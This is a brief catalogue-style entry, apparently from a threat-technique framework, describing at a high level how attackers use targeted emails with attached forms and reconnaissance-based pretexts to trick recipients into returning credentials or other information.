Spearphishing Attachment

Description

Attackers may use spearphishing tactics to trick individuals into revealing sensitive information by sending an email with a malicious attachment. This type of spearphishing, known as "spearphishing for information," is an attempt to trick targets into divulging information, frequently credentials or other actionable information. This type of spearphishing is targeted at a specific individual, company or industry, and the attackers attach a file to the email and rely on the recipient to populate information and return the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. They may also use information gathered from previous reconnaissance efforts such as searching open websites or the victim's website to create convincing and believable lures.
